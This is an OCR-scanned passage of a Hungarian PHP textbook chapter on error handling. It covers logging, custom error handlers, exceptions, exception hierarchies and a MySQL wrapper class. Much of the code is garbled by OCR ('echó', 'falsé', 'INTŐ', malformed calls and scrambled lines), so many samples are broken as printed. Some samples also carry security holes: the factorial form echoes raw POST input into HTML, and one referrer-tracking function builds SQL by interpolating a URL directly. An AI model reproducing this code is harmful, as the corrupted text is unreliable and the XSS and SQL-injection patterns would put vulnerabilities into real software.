Az, hogy miként értesítjük a felhasználókat a hibákról, gyakran üzletpolitikai kérdés. Minden nagy ügyfél, akiknek dolgoztam, szigorúan szabályozta, mit kell tenni, ha a felhasználó hibával találkozik. A megoldások az egyedi hibaoldalak megjelenítésétől a keresett tartalom valamilyen tárolt változatát megjelenítő bonyolult programokig terjedtek. Üzleti szempontból ez teljesen érthető: a webes jelenlét az ügyfelekkel való kapcsolattartás módja, így a hibák kezelése az egész vállalkozás megítélésére kihathat. Attól függetlenül, hogy pontosan milyen tartalmat is jelenítünk meg váratlan hibák esetén a felhasználók számára, hibakeresési információkat biztosan nem mutatnék nekik. A hibaüzenetben szereplő információmennyiségtől függően ez ugyanis jelentős támadási felületet nyújtana. Az egyik leggyakrabban alkalmazott megoldás az 500-as hibakód visszaadása és egyéni hibakezelő beállítása, ami a felhasználót egy egyedi hibaoldalra viszi. A HTTP 500-as hibakódja belső kiszolgálóhibát jelez; a PHP-ből így adhatjuk vissza: header("HTTP/1.0 500 Internál Server E r r or " ) ; Az Apache beállításainál pedig ezt kell megadnunk: ErrorDocument 500 /custom-error.php így minden oldalt, ami az 500-as állapotkódot adja vissza, a /custom-error .php címre irányítunk át (belsőleg, vagyis a felhasználó számára láthatatlanul). A fejezet későbbi, Felső szintű kivételkezelő beállítása című részében egy másik, kivétel alapú megoldást láthatunk.

A hibák naplózása
A PHP belsőleg támogatja mind a hibák egy adott fájlban, mind a syslog-on keresztül történő naplózását, a php. ini állomány két beállítása segítségével. Az alábbi beállítással adhatjuk meg, hogy a hibákat naplózni kell: log_errors = On

3. fejezet • Hibakezelés

79

A következővel pedig azt állíthatjuk be, hogy fájlba vagy a rendszernaplóba (syslog) írjuk-e a hibát: error_log = /path/to/filename error_log = syslog A naplózás révén minden hibát visszakereshetünk, ami a webhelyen bekövetkezik. Amikor hibafelderítést végzek, a kérdéses kódterület körül gyakran helyezek el hibakereső sorokat. A rendszerhibák alapján vagy a trigger_error () -on keresztül naplóba írt hibaüzeneteken kívül az alábbi kóddal magunk is előállíthatunk bejegyzéseket a hibanaplóban: error_log("Ez egy saját hibaüzenet"); Ezenkívül elektronikus levelet is küldhetünk, vagy megadhatjuk a naplófájlt. A részletekről a PHP kézikönyvéből tájékozódhatunk. Az error_log az error_reporting-nél beállított szinttől függetlenül naplózza az átadott üzenetet, vagyis a kettő teljesen külön részét fedi le a hibakezelésnek. Ha csak egyetlen kiszolgálónk van, célszerű közvetlenül fájlba írni a naplóbejegyzéseket. A syslog meglehetősen lassú, így ha minden beágyazott program végrehajtásánál beleírunk valamilyen üzenetet (ami mindenképpen nagyon rossz ötlet), a naplózás által a rendszerre rótt terhelés igen jelentős lehet. Ha azonban több kiszolgálót futtatunk, a syslog központi naplózási szolgáltatásával kényelmesen egy helyre gyűjthetjük a különböző gépekről érkező üzeneteket, elemzés és tárolás céljából. Ha a syslog használata mellett döntünk, mindenesetre kerüljük a gyakori naplózást.

A hibák figyelmen kívül hagyása
A @ jellel a PHP lehetővé teszi, hogy megakadályozzuk egyes kiválasztott hibaüzenetek küldését. így ha például egy olyan fájlt próbálunk megnyitni, ami lehet, hogy nem létezik, de hiba esetén nem szeretnénk hibaüzenetet kapni, a következőt írhatjuk: $fp = @fopen($file, $mode);

Mivel a PHP hibakezelő rendszere (amit hamarosan részletesebben is megismerünk) nem tartalmaz programvezérlési lehetőségeket, a legegyszerűbb, ha elnyomjuk azokat a hibákat, amelyekről tudjuk, hogy be fognak következni, de nem kívánunk foglalkozni velük.

80

PHP fejlesztés felsőfokon

Vegyünk egy függvényt, amely egy esetleg nem létező állomány tartalmát kéri: $content = file_get_content($sometimes_valid); Ha az állomány nem létezik, E_WARNING hibát kapunk. Ha tudjuk, hogy ez lehetséges, célszerű elnyomni a figyelmeztetést, hiszen amiről előre tudunk, az igazából nem is hiba. Erre ad módot a @ operátor, amellyel az egyes hívásokkal kapcsolatos figyelmeztetéseket kapcsolhatjuk ki: $content = @file_get_content($sometimes_valid); Ha emellett a php. ini állományban megadjuk a track_errors = On beállítást, az utolsó hibaüzenetet tárolhatjuk is a $php_errormsg változóban. Ez független attól, hogy használtuk-e a @ jelet a hibaüzenetek elnyomására.

Műveletek végzése hiba esetén
A PHP-ben a set_error_handler () függvényen keresztül saját hibakezelőket is beállíthatunk. Egy ilyen függvényt az alábbi módon határozhatunk meg:
<?php require "DB/Mysql.inc"; function user_error_handler($severity, $msg, $filename, $linenum) { $dbh = new DB_Mysql_Prod; $query = "INSERT INTŐ errorlog (severity, message, filename, linenum, time) VALUES(?,?,?,?, NOW())"; $sth = $dbh->prepare($query); switch($severity) { case E_USER_NOTICE: $sth->execute('NOTICE', $msg, $filename, $linenum); break; case E_USER_WARNING: $sth->execute('WARNING', $msg, $filename, $linenum); break; case E_USER_ERROR: $sth->execute('FATÁL', $msg, $filename, $linenum); echó "FATÁL error $msg at $filename:$linenum<br>"; break; default: echó "Unknown error at $filename:$linenum<br>"; break; } } ?>

3. fejezet • Hibakezelés

81

A beállítást ezután így kell megadnunk:
set_error_handler("user_error_handler");

Ha a program hibát észlel, ezután nem a hibanaplóba ír vagy hibaüzenetet jelenít meg, hanem a hibát egy adatbázis-táblába jegyzi be, illetve ha végzetes hibáról van szó, üzenetet is ír a képernyőre. Jegyezzük meg, hogy a hibakezelők nem nyújtanak programvezérlési lehetőséget. Nem végzetes hiba esetén a feldolgozás befejeztével a program a hiba helyétől folytatódik, míg végzetes hibánál a program a hibakezelő lefutása után befejeződik.

Levélküldés önmagunknak

Jó ötletnek tűnhet, hogy olyan egyéni hibakezelőt állítsunk be, amely hiba esetén a mail () függvénnyel elektronikus levelet küld a fejlesztőnek vagy a rendszergazdának, de az sajnos nagyon rossz megoldás. A hibáknak megvan az a rossz tulajdonságuk, hogy csoportosan bukkannak fel. Nagyszerű lenne, ha garantálhatnánk, hogy egy hiba legfeljebb óránként egyszer (vagy bármilyen megadott időközzel) lép fel, de a helyzet többnyire az, hogy ha kódolási hiba következtében váratlan esemény következik be, az számos kérelemre hatással van. Levélküldő error_handler () függvényünk így akár 20 000 levelet is küldhet a postafiókunknak, mire bejutunk és kikapcsolhatjuk. Ha mégis szükségünk van valamilyen válaszküldésre a hibakezelő rendszerben, azt javaslom, írjunk olyan programot, ami a hibanaplót feldolgozva küld levelet, és okosan korlátozza az elküldhető levelek számát.

A külső hibák kezelése
Bár a fejezetben eddig tárgyaltakat hibakezelésnek hívtuk, valójában nem igazán kezeltük a hibákat. Elfogtuk és feldolgoztuk a programunk által küldött figyelmeztetéseket, de képtelenek voltunk arra, hogy a program futását módosítsuk, vagyis akárhogy is vesszük, nem kezeltük a hibákat. Az alkalmazkodó hibakezelés nagyrészt azon alapul, hogy tudjuk, hol léphet fel hiba, és előre eldöntjük, mit teszünk, ha bekövetkezik. Külső hibák többnyire akkor adódhatnak, amikor külső folyamatokhoz kapcsolódunk, vagy onnan adatokat nyerünk ki.

82

PHP fejlesztés felsőfokon

Vegyük az alábbi függvényt, amelynek feladata a passwd állományban található részletek (kezdőkönyvtár, héj, gecos információk és így tovább) visszaadása egy adott felhasználóra vonatkozóan: <?php function get_passwd_info($user) { $fp = fopen("/etc/passwd", "r"); while(!feof($fp)) { $line = fgets($fp);

$fields = explode(";", $line); if($user == $ fi e l d s [ 0 ] ) { return $fields;
} }

return falsé;
} ?>

Ebben a formában a kód két hibát tartalmaz: az egyik tisztán kódlogikai hiba, de a másik egy lehetséges külső hibáról feledkezik meg. Ha a programot futtatjuk, az alábbihoz hasonló elemekkel feltöltött tömböt kapunk: <?php print_r(get_passwd_info('www')); ?> Array ( [0] => www:*:70:70: «* World Wide Web Server:/Library/WebServer:/noshell ) Ez azért következik be, mert az első hiba az, hogy a passwd fájlban a mezőelválasztó nem pontosvessző, hanem kettőspont. Ez hibás: $fields = explode(";", Erre kell cserélnünk: $fields = e x p l od e ( " : " , $line); A másik hibát nehezebb észrevenni. Ha a passwd fájl megnyitása nem sikerül, E_WARNING hibát kapunk, de a program futása zavartalanul folytatódik. Ha a megadott felhasználó nem szerepel a passwd állományban, a függvény falsé értéket ad vissza. Csakhogy a visszatérési érték akkor is falsé, ha az fopen nem sikerült, ami elég zavaró. $line);

3. fejezet • Hibakezelés

83

Ez az egyszerű példa az egyik legnagyobb nehézségre világít rá, amivel az eljárásközpontú (vagy legalábbis kivételekkel nem rendelkező) nyelvekben a hibakezelés során találkozunk: hogyan értesítjük a hibáról a hívót, amely felkészült a kezelésére? Ha az adatokat helyben hasznosítjuk, helyi döntéseket hozhatunk a hiba kezelésével kapcsolatban. A fenti függvényt például úgy módosíthatjuk, hogy a megfelelő helyzetben egy adott szöveget jelenítsen meg:
<?php function get_passwd_info($user) { $fp = fopen("/etc/passwd", "r"); if(!is_resource($fp)) { return "Error opening filé"; } while(!feof($fp)) { $line = fgets($fp);

$fields = explode(":", $line); if($user == $f ields [0] ) { return $fields;
} }

return falsé;
} ?>

Esetleg beállíthatunk egy olyan értéket, ami általában nem érvényes visszatérési érték:
<?php function get_passwd_info($user) { $fp = fopen("/etc/passwd", "r"); if(!is_resource($fp)) { return -1; } while(!feof($fp)) { $line = fgets($fp); $fields = explodeí":", $line); if ($user == $fields[0]) { return $fields; } } return falsé; } ?>

84

PHP fejlesztés felsőfokon

Ezzel a logikával a hibákat feljebb küldhetjük az eredeti hívók felé: <?php function is_shelled_user($user) { $passwd_info = get_passwd_info($user) ; if (is_array($passwd_info) && $passwd_info[7] return 1;
}

!=

'/bin/false')

{

else if($passwd_info === -1) return -1; } else { return 0;
} } ?>

{

A módszer használata megköveteli, hogy minden lehetséges hibát észleljünk: <?php $v = is_shelled_user('www'); i f ( $ v === 1) {
echó "Your Web server user probably shouldn't be shelled.\n"; } else if($v === 0) { echó "Great!\n"; } else {

echó "An error occurred checking the user\n";
} ?>

Ha a megoldást csúnyának és zavarosnak találjuk, az azért van, mert az is. Saját kezűleg, több hívón keresztül felfelé terjeszteni a hibákat nehézkes, és ez az egyik fő oka annak, hogy egyes programozási nyelvekben bevezették a kivételeket. Szerencsére a kivételek a PHP5-től kezdve már a PHP-ben is alkalmazhatók. A fenti példa esetében ugyan lehetséges, hogy elő tudunk állítani valamilyen működőképes kódot, de mi történne, ha a kérdéses függvény (érvényesen) visszaadhatna valamilyen számot is? Hogyan lehetne akkor egyértelműen továbbítani a hibát felfelé? Ami pedig az egész katyvaszban a legrosszabb: a bonyolult hibakezelő rendszer nem helyileg azokban a függvényekben kap helyet, amelyek megvalósítják, hanem feljebb. Ráadásul a hívási hierarchiában található minden függvénynek értenie és kezelnie kell a hibákat.

3. fejezet • Hibakezelés

85

Kivételek
A PHP5 előtt csak az eddig tárgyalt megoldások voltak elérhetők a nyelvben, ami bizony komoly gondokat okozott, különösen nagyobb alkalmazások írásakor. Az elsődleges probléma az volt, hogy a hibákat egy ismeretlen, a könyvtárt felhasználó kódnak kellett visszaadni. Emlékezzünk vissza az imént megvalósított hibaellenőrzésre a passwd fájlt olvasó függvényben. A példa írásakor alapvetően két lehetőségünk volt a kapcsolati hibák kezelésére: • a hiba helyi kezelése és érvénytelen adat (például falsé) visszaadása a hívónak, • az eredményhalmaz visszaadása helyett a hiba megőrzése és továbbadása a hívónak. A példában szereplő függvényben az első megoldást azért nem választottuk, mert a könyvtár előfeltételezéssel élt volna azzal kapcsolatban, hogy az alkalmazás milyen hibakezelést vár tőle. Ha például egy adatbázis-ellenőrző programot írunk, a hibákat valószínűleg igen részletesen kívánjuk a legfelsőbb szintű hívónak továbbítani, míg egy webes alkalmazásban csak egy hibaoldalra szeretnénk irányítani a felhasználót. A példában tehát a második módszert választottuk, pedig az sem sokkal jobb az elsőnél. Az a gond vele, hogy jelentős előrelátást és pontos tervezést igényel, hogy biztosíthassuk, hogy a hibák helyesen továbbítódnak az alkalmazáson belül. Ha egy adatbázis-lekérdezés például egy karakterláncot ad vissza, hogyan különböztetjük azt meg egy szöveges hibaüzenettől? Ezenkívül a továbbítást magunknak kell kódolnunk: minden lépésnél saját kezűleg kell felterjesztenünk a hibát a hívónak, felismertetni vele, hogy hibáról van szó, majd továbbadni vagy kezelni. Az előző részben már láthattuk, milyen nehéz is ez. A kivételeket pont az ilyen helyzetek kezelésére találták ki. A kivétel olyan vezérlési szerkezet, amely lehetővé teszi, hogy a végrehajtás aktuális folyamatát megállítsuk, és a vermet egy adott pontig visszabontsuk. A fellépő hibát egy objektum jelképezi, amit kivételként állítunk be. A kivételek tehát objektumok. Az alapvető esetekhez a PHP a beépített Exception osztályt biztosítja, amelyet kimondottan kivételkezelésre terveztek. Bár nem kötelező, hogy a kivételek az Exception osztály példányai legyenek, a kivételeket kiváltó osztályokat célszerű belőle származtatni. Új kivétel létrehozásához a megfelelő Exception osztályt példányosítjuk és „dobjuk" a programnak. Kivétel dobásakor az Exception objektumot mentjük, az aktuális kódblokk végrehajtását pedig azonnal felfüggesztjük. Ha az adott hatókörben be van állítva kivételkezelő blokk, a kódban annak helyére ugrunk, és végrehajtjuk a kezelőt. Ha nincs ilyen, a végrehajtási

86

PHP fejlesztés felsőfokon

veremből kiolvassuk a következő elemet, és a hívó hatókörében keresünk kivételkezelő blokkot. Ez addig ismétlődik, amíg kezelőt nem találunk vagy el nem érjük a legfelső hatókört. Futtassuk ezt a kódot: <?php throw new Exception;
?>

Ezt kapjuk: > php uncaught-exception.php Fatál error: Uncaught exception 'exception'! in Unknown on line 0 Az el nem fogott kivételek végzetes hibák, vagyis magukat a kivételeket is kezelnünk kell. Ha figyelmeztetésként vagy lehetséges nem végzetes hibaként kivételeket alkalmazunk egy programban, az adott kódblokk minden hívójának tudnia kell, hogy kivétel kiváltására kerülhet sor, és fel kell készülnie annak kezelésére. A kivételkezelő egy utasításblokkból áll, amelyben a végrehajtani („kipróbálni") kívánt utasítások kapnak helyet, illetve egy második blokkból, amelybe akkor akarunk lépni, ha valamilyen hibával találkozunk. íme egy egyszerű példa, amely egy kiváltott és elkapott kivételt mutat: try { throw new Exception; print "This code is unreached\n";
}

catch (Exception $e) { print "Exception caught\n";
}

Itt kivételt váltunk ki, de egy try blokkban, így a végrehajtás megáll, és előreugrunk a catch blokkra. A catch egy Exception osztályt kap el (a „dobott" osztályt), így annak blokkjába lépünk be. A catch blokkot általában arra használjuk, hogy a bekövetkezett hiba következtében adódó szükséges takarítást elvégezzük. Említettük korábban, hogy nem szükséges, hogy a kiváltott kivétel az Exception osztály példánya legyen. íme egy példa, amelyben valami más szerepel: <?php
class AltException {} try { throw new AltException; } ^

3. fejezet • Hibakezelés

87

catch (Exception $e) { print "Caught exception\n";
} ?>

A fenti kódot futtatva a következőt kapjuk: > php failed_catch.php Fatál error: Uncaught exception 'altexception'!

in Unknown on line 0

Tehát nem sikerült elkapnunk a kivételt, mert AltException osztályba tartozó objektumot dobtunk, a kód viszont csak Exception osztályú objektumokra készült fel. Nézzünk egy kevésbé triviális példát arra, hogyan lehet egy egyszerű kivétellel hibakezelést megvalósítani régi kedvencünkben, a faktoriális függvényben. Ez a függvény csak természetes számokkal (vagyis nullánál nagyobb egészekkel) képes dolgozni; a bemenet ellenőrzését úgy építhetjük be a programba, hogy kivételt váltunk ki, ha érvénytelen adat érkezik:
<?php // factorial.inc // Egyszerű faktoriális függvény function factorial($n) { if(!preg_match{'/~\d+$/',$n) II $n < 0 ) { throw new Exception; } else if ($n ==0 II $n == 1) { return $n; } else {

return $n * factorial($ n - 1 );
} } ?>

A függvények érvényes bemenetének ellenőrzése kulcsfontosságú része a programok megfelelő védelemmel való ellátásának.

Miért szabályos kifejezés?

Furcsának tűnhet, hogy az is_int függvény helyett szabályos kifejezéssel ellenőrizzük, hogy a $n egész-e, az említett függvény azonban nem azt teszi, amit mi itt szeretnénk. Csak azt ellenőrzi, hogy a $n típusa karakterlánc vagy egész szám-e, nem pedig azt, hogy az értéke egész-e. Ez olyan apróság, amiről könnyen elfeledkezhetünk, ha az is_int-et (többek között) űrlapadatok érvényesítésére használjuk. A dinamikus típusokkal részletesebben a 20. fejezetben foglalkozunk.

88

PHP fejlesztés felsőfokon

Amikor meghívjuk a f actorial függvényt, gondoskodnunk kell róla, hogy végrehajtása egy try blokkban történjen, hacsak nem szeretnénk az alkalmazás halálát megkockáztatni, amennyiben rossz adatokat kap:
<html> <form method="POST"> Compute the factorial of <input type="text" name="input" value="<?= $_POST['input'] ?>"><br> <?php include "factorial.inc"; if($_POST['input']) { try { $input = $_POST['input']; $output = factorial($input); echó "$_POST[input]! = $output"; } catch (Exception $e) { echó "Only natural numbers can have their factorial computed."; } } ?> <br> <input type="submit" name="posted" value="Submit"> </form>

Kivételhierarchiák használata
Egy try-hoz több catch blokkot is rendelhetünk, ha a különféle hibákat különbözőképpen szeretnénk kezelni. A faktoriális példát például úgy módosíthatjuk, hogy azokat az eseteket is kezelje, amikor a $n túl nagy a PHP matematikai lehetőségeihez képest:
class OverflowException {} class NaNException {} function factorial($n) { if ( !preg_match( ' //v\d+$/ ' , $n) I I $n < 0 ) { throw new NaNException; } else if ($n ==0 II $n == 1) { return $n;
}

else if ($n > 170 ) { throw new OverflowException; } else { return $n * factorial($n - 1); } }

3. fejezet • Hibakezelés

89

Most minden hibaesetet másképp kezelünk: <?php if($_POST['input']) { try { $input = $_POST['input']; $output = factorial($input); echó "$_POST[input]! = $output"; } catch (OverflowException $e) { echó "The requested value is too large."; } catch (NaNException $e) { echó "Only natural numbers can have their factorial computed."; } } ?>

A kód jelenlegi formájában külön fel kell sorolnunk minden lehetséges esetet, ami egyrészt fárasztó, másrészt veszélyes lehet, mert a könyvtárak növekedésével a lehetséges kivételek halmaza is nő, így egyre könnyebb lesz megfeledkezni valamelyikről. Megoldásként családokba csoportosíthatjuk a kivételeket, és egy öröklési fa létrehozásával összekapcsolhatjuk azokat: class MathException extends Exception {} class NaNException extends MathException {} class OverflowException extends MathException {} A catch blokkot ezután a következőképpen szervezhetjük újjá:
<?php if<$_POST['input']) { try { $input = $_POST['input']; $output = factorial($input); echó "$_POST[input]! = $output"; } catch (OverflowException $e) { echó "The requested value is too large."; } catch (MathException $e) { echó "A generic math error occurred"; }

90

PHP fejlesztés felsőfokon

catch (Exception $e) { echó "An unknown error occurred"; } } ?> Ebben az esetben, ha Overf lowException hiba lép fel, azt az első catch blokk kapja el. Ha a MathException bármely más leszármazottját dobjuk (például egy NaNException-t), a második catch blokk lép működésbe. Végül az első kettő által le nem fedett más Exception-leszármazottakat kapjuk el. Ez az előnye annak, ha minden kivétel az Except ion-tői származik: olyan általános catch blokkot írhatunk, amely anélkül képes minden kivételt kezelni, hogy egyenként fel kellene sorolnia azokat. A mindent elkapó kivételkezelők azért fontosak, mert lehetővé teszik, hogy akár olyan hibákat is feldolgozunk, amelyeket nem látunk előre.

Típusos kivételek - egy példa
A fejezetben eddig bemutatott kivételek mind (legalábbis legjobb tudásunk szerint) mentesek voltak a tulajdonságoktól. Ha csak a kiváltott kivétel típusának megállapítására van szükségünk, és a hierarchiát gondosan állítottuk fel, ez igényeink legtöbbjét ki is elégíti. Ha viszont a kivételekben átadott információk csakis karakterláncok lehetnének, a kivételeket karakterlánc-használattal valósították volna meg teljes objektumok helyett. Mi azonban azt szeretnénk, ha a kivételt elkapó hívó számára tetszőleges hasznos információt adhatnánk át. Maga az alap-kivételosztály többre képes annál, mint amit eddig megtudtunk róla. Beépített osztály, vagyis megvalósítása C és nem PHP nyelvű. Nagyjából így néz ki: class Exception { Public function _______ construct($message=false, $code=false) { $this->file =________ FILÉ___ ; $this->line =_______ LINE___; $this->message = $message; // a hibaüzenet karakterláncként $this->code = $code; // a számmal jelzett hibakódok helye
}

public function getFileO return $this->file;
}

{

public function getLineO return $this->line;
}

{

public function getMessage() return $this->message;
}

{

public function getCode() return $this->code;
} }

{

3. fejezet • Hibakezelés A__ FILÉ__ és a___ LINE__ átvizsgálása az utolsó hívóért általában nem nyújt hasznos információt. Tegyük fel, hogy úgy döntünk, kivételt váltunk ki, ha a DB_Mysql burkoló könyvtárban gondunk van egy lekérdezéssel: class DB_Mysql { // .. . public function execute($query) if (!$this->dbh) { $this->connect() ;
}

91

{

$ret = mysql_query($query, if(!is_resource($ret)) { throw new Exception;
}

$this->dbh);

return new MysqlStatement($ret) ;
} }

Váltsuk ki ezt a kivételt a kódban egy nyelvtanilag helytelen lekérdezés végrehajtásával:
<?php require_once "DB.inc"; try { $dbh = new DB_Mysql_Test; // ... lekérdezések végrehajtása az adatbázis-kapcsolaton $rows = $dbh->execute("SELECT * FROM")->fetchall_assoc(); } catch (Exception $e) { print_r($e); } ?>

Ekkor ezt kapjuk: exception Object ( [filé] => /Users/george/Advanced PHP/examples/chapter-3/DB.inc [line] => 42 )

A DB. inc 42. sora maga az execute () utasítás! Amennyiben a try blokkon belül több lekérdezést is végrehajtunk, nem tudjuk megállapítani, melyik okozta a hibát. Sőt, a helyzet még ennél is rosszabb: ha saját kivételosztályt használunk, és magunk állítjuk be a $f ile és $line változókat (vagy a parent: :________ contsruct-ot hívjuk meg az Exception konstruktorának futtatásához), az lesz az eredmény, hogy a_______ FILÉ__ és a__ LINE__ első hívó lesz maga a konstruktőr. Amit azonban mi szeretnénk, az a teljes visszakövetés a probléma helyétől.

92

PHP fejlesztés felsőfokon

Most alakítsuk át a DB burkoló könyvtárakat, hogy kivételeket használjanak. A visszakövetési adatokkal való feltöltés mellett megpróbálhatjuk beállítani a message és code tulajdonságokat is a MySQL hibainformációkkal: class MysqlException extends Exception { public $backtrace; public function _____ construct($message=false, if(!$message) { $this->message = mysql_error() ;
}

$code=false)

{

i f( ! $ c od e ) { $this->code = mysql_errno() ;
}

$this->backtrace = debug_backtrace();
} }

Tegyük fel, hogy most a könyvtárat ennek a kivételtípusnak a használatára állítjuk: class DB_Mysql { public function execute($query) if ( !$this->dbh) { $this->connect() ;
}

{

$ret = mysql_query($query, $this->dbh); if(!is_resource($ret)) { throw new MysqlException;
}

return new MysqlStatement($ret) ;
} }

Emellett megismételjük a tesztet: <?php require_once "DB. i n c"; try {
$dbh = new DB_Mysql_Test; // ... lekérdezések végrehajtása az adatbázis-kapcsolaton $rows = $dbh->execute("SELECT * FROM")->fetchall_assoc(); } catch (Exception $e) { print_r ($e) ; "*} ?>

3. fejezet • Hibakezelés

93

A fenti két lépés eredménye ez lesz: mysqlexception Object ( [backtrace] => Array ( [0] => Array ( [fi l é ] => /Users/george/Advanced PHP/examples/chapter-3/DB.inc [line] => 45 [function] => _____ construct [class] => mysqlexception [type] => -> [args] => Array ( ) ) [1] => Array ( [filé] => /Users/george/Advanced PHP/examples/chapter-3/test.php [line] => 5 [function] => execute [class] => mysql_test [type] => -> [args] => Array ( [0] => SELECT * FROM ) ) ) [message] => You have an error in your SQL syntax near '' at line 1 [code] => 1064 ) A korábbi kivétellel összehasonlítva most rengeteg információt kapunk: • • • a hiba helyét, azt, hogy hogyan jutott a program a hibáig, valamint a hibához kapcsolódó MySQL információkat.

Most már a teljes könyvtárat átalakíthatjuk az új kivétel használatára: class MysqlException extends Exception { public $backtrace; public function __construct($message=false, $code=false) { if(!$message) { $this->message = mysql_error(); }

94

PHP fejlesztés felsőfokon

if(!$code) { $this->code = mysql_errno(); } $this->backtrace = debug_backtrace(); } } class DB_Mysql { protected $user; protected $pass; protected $dbhost; protected $dbname; protected $dbh; public function __ construct($user, $pass, $dbhost, $dbname) { $this->user = $user; $this->pass = $pass; $this->dbhost = $dbhost; $this->dbname = $dbname; } protected function connect() { $this->dbh = mysql_pconnect($this->dbhost, $this->user, $this->pass) if(!is_resource($this->dbh)) { throw new MysqlException; } if(!mysql_select_db($this->dbname, $this->dbh)) { throw new MysqlException; } } public function execute($query) { if(!$this->dbh) { $this->connect(); } $ret = mysql_query($query, $this->dbh); if(!$ret) { throw new MysqlException; } else if(!is_resource($ret)) { return TRUE; } else { return new DB_MysqlStatement ($ret) ; } } public function prepare($query) { if(!$this->dbh) { $this->connect() ; } return new DB_MysqlStatement($this->dbh, $query); } }

3. fejezet • Hibakezelés

95

class DB_MysqlStatement { protected $result; protected $binds; public $query; protected $dbh; public function __ construct($dbh, $query) { $this->query = $query; $this->dbh = $dbh; if(!is_resource($dbh)) { throw new MysqlException("Not a valid database connection"); } } public function bind_param($ph, $pv) { $this->binds[$ph] = $pv; } public function execute() { $binds = func_get_args() ; foreach($binds as $index => $name) { $this->binds[$index + 1] = $name; } $cnt = count($binds) ; $query = $this->query; foreach ($this->binds as $ph => $pv) { $query = str_replace(":$ph",.... mysql_escape_string($pv)...., «ü» $query) ; } $this->result = mysql_query($query, $this->dbh); if ( !$this->result) { throw new MysqlException; } } public function fetch_row() { if ( !$this->result) { throw new MysqlException("Query not executed"); } return mysql_fetch_row($this->result); } public function fetch_assoc() { return mysql_fetch_assoc($this->result); } public function fetchall_assoc() { $retval = arrayO; while($row = $this->fetch_assoc()) { $retval[] = $row; } return $retval; } }
? >

96

PHP fejlesztés felsőfokon

A kivételek táncolása
Néha szükség lehet arra, hogy kezeljünk egy hibát, de emellett tovább is adjuk további hibakezelőknek. Ezt úgy tehetjük meg, hogy a catch blokkban új kivételt váltunk ki: <?php try { throw new Exception;
}

catch (Exception $e) { print "Exception caught, throw new Exception;
} ?>

and rethrown\n";

A catch blokk elfogja a kivételt, kiírja a hibaüzenetet, majd új kivételt dob. Az előző példában nem szerepelt az új kivétel kezelésére szolgáló catch blokk, ezért azt nem tudjuk elkapni. Figyeljük meg, mi történik, ha futtatjuk a kódot: > php re-throw.php Exception caught, and rethrown Fatál error: Uncaught exception 'exception'! in Unknown on line 0 Valójában nem is szükséges új kivételt kiváltanunk. Újradobhatjuk az aktuális Exception objektumot is, azonos eredménnyel:
<?php try { throw new Exception; } catch (Exception $e) { print "Exception caught, and rethrown\n"; throw $e; } ?>

A kivételek újradobásának lehetősége azért fontos, mert nem lehetünk biztosak benne, hogy egy elfogott kivételt valóban kezelni szeretnénk. Tegyük fel például, hogy vissza szeretnénk követni webhelyünkön a hivatkozásokat. Ehhez az alábbi táblával rendelkezünk:
CREATE TABLE track_referrers ( url varchar2(128) not null primary key, counter int );

3. fejezet • Hibakezelés

97

Amikor egy adott URL-re először hivatkoznak, ezt kell végrehajtanunk: INSERT INTŐ track_referrers VALUES('http://somé.url/ ' , A rákövetkező kérelmeknél ennek a végrehajtására van szükség: UPDATE track_referrers SET counter=counter+l where url = 'http://somé.url/' A táblában való kereséssel megállapíthatjuk, hogy létezik-e az URL sora, és annak alapján kiválaszthatjuk a megfelelő lekérdezést. Emögött azonban meghúzódik egy feltételezés; ugyanis ha két, ugyanarról az URL-ről érkező hivatkozást két különböző folyamat egyszerre dolgoz fel, az egyik beszúrás sikertelen lehet. Tisztább megoldás, ha „vakon" végrehajtjuk a beszúrást, majd meghívjuk az update-et, ha a beszúrás sikertelen volt és egyedikulcs-megsértést eredményezett. Ezután elkaphatunk minden MysqlException hibát, és a megfelelő helyen végrehajthatjuk a frissítést:
<?php include "DB.inc"; function track_referrer($url) { $insertq = "INSERT INTŐ referrers (url, count) VALUES(:1, :2)"; $updateq = "UPDATE referrers SET count=count+l WHERE url = :1"; $dbh = new DB_Mysql_Test; try { $sth = $dbh->prepare($insertq) ; $sth->execute($url, 1); } catch (MysqlException $e) { if($e->getCode == 1062) { $dbh->prepare($updateq)->execute($url); } else { throw $e; } } } ?>

1)

A másik megoldás, hogy tisztán típusos kivételt alkalmazunk, és maga az execute a hiba alapján különböző kivételeket vált ki: class Mysql_Dup_Val_On_Index extends MysqlException {} //... class DB_Mysql { // ...

98

PHP fejlesztés felsőfokon

public function execute($query) { if(!$this->dbh) { $this->connect(); } $ret = mysql_query($query, $this->dbh); if(l$ret) { if(mysql_errno() == 1062) {

throw new Mysql_Dup_Val_On_Index; else { throw new MysqlException;
} }

else if(!is_resource($ret)) { return TRUE; } else { return new MysqlStatement($ret);
} } }

Ezután az ellenőrzést a következőképpen végezhetjük el: function track_referrer($url) { $insertq = "INSERT INTŐ referrers ( ur l , count) VALUES('$url' , 1)"; $updateq = "UPDATE referrers SET count=count+l WHERE url = '$url'"; $dbh = new DB_Mysql_Test; try { $sth = $dbh->execute($insertq);
}

catch (Mysql_Dup_Val_On_Index $e) $dbh->execute($updateq);
} }

{

Mindkét módszer megfelel; csak ízlésünktől és az alkalmazott stílustól függ, melyiket választjuk. Ha a típusos kivételek mellett döntünk, nagyobb rugalmasságot érhetünk el, ha a Gyár minta segítségével állítjuk elő a hibákat, mint itt is: class MysqlException { // . . . static function createError($message=false, $code=false) i f( !$ cod e) { $code = mysql_errno() ;
}

{

if(!$message) { $message = mysql_error();
}

3. fejezet • Hibakezelés

99

switch($code) { case 1062: return new Mysql_Dup_Val_On_Index($message, break; default: return new Mysql_Exception($message, $code); break;
} } }

$code);

A jobb olvashatóság további előnyt jelent. Nem valamilyen titokzatos állandót dobunk, hanem egy beszédes osztálynevet használunk. Ennek jelentőségét nem szabad alábecsülni. Most már ahelyett, hogy adott hibákat váltanánk ki a kódban, elég ezt írnunk:
throw MysqlException::createError();

Konstruktőrön belüli hibák kezelése
A konstruktőrön belüli hibák kezelése egy objektumban meglehetősen nehéz. Az osztálykonstruktoroknak a PHP-ben az adott osztály egy példányát kell visszaadniuk, így a lehetőségek korlátozottak: • Használhatunk egy kezdőértékkel ellátott tulajdonságot az objektumban, ami jelzi, hogy az objektum előkészítése megfelelő volt-e. • A konstruktorban nem végzünk előkészítést. • Kivételt váltunk ki a konstruktorban. Az első megoldás nem túl elegáns, és komolyan nem is vesszük fontolóra. A második azonban meglehetősen általános módja a hibázó konstruktőrök kezelésének; a PHP4-ben ez egyenesen a javasolt módszer. A megvalósítás valahogy így történhet: class ResourceClass { protected $resource; public function _____construct() { // felhasználónév, jelszó stb. beállítása
}

